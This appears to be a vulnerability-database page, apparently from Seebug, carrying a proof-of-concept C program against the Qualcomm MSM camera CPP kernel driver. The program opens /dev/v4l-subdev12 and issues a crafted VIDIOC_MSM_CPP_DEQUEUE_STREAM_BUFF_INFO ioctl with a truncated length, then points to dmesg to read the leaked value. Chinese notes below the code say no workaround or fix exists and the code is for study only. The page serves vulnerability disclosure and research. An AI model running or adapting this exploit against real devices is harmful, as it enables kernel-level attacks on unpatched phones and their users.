#include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <linux/videodev2.h> #include <linux/types.h> struct msm_camera_v4l2_ioctl_t { uint32_t id; size_t len; int32_t trans_code; void __user *ioctl_ptr; }; #define VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO \ _IOWR('V', BASE_VIDIOC_PRIVATE + 7, struct msm_camera_v4l2_ioctl_t) int main(void) { int fd; int ret; struct msm_camera_v4l2_ioctl_t request = { 0 }; uint32_t identity = 0xAAAAAAAA; request.len = 1; request.ioctl_ptr = &identity; fd = open("/dev/v4l-subdev12", O_RDWR); if (fd < 0) { printf("Couldn't open msm_cpp, reason: %s\n", strerror(errno)); exit(-1); } ret = ioctl(fd, VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO, &request); close(fd); printf("Success! Check dmesg for 'identity' value...\n"); // system("dmesg | grep -i \"error finding buffer queue entry for identity:\""); }
暂无临时解决方案
暂无官方解决方案
暂无防护方案
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论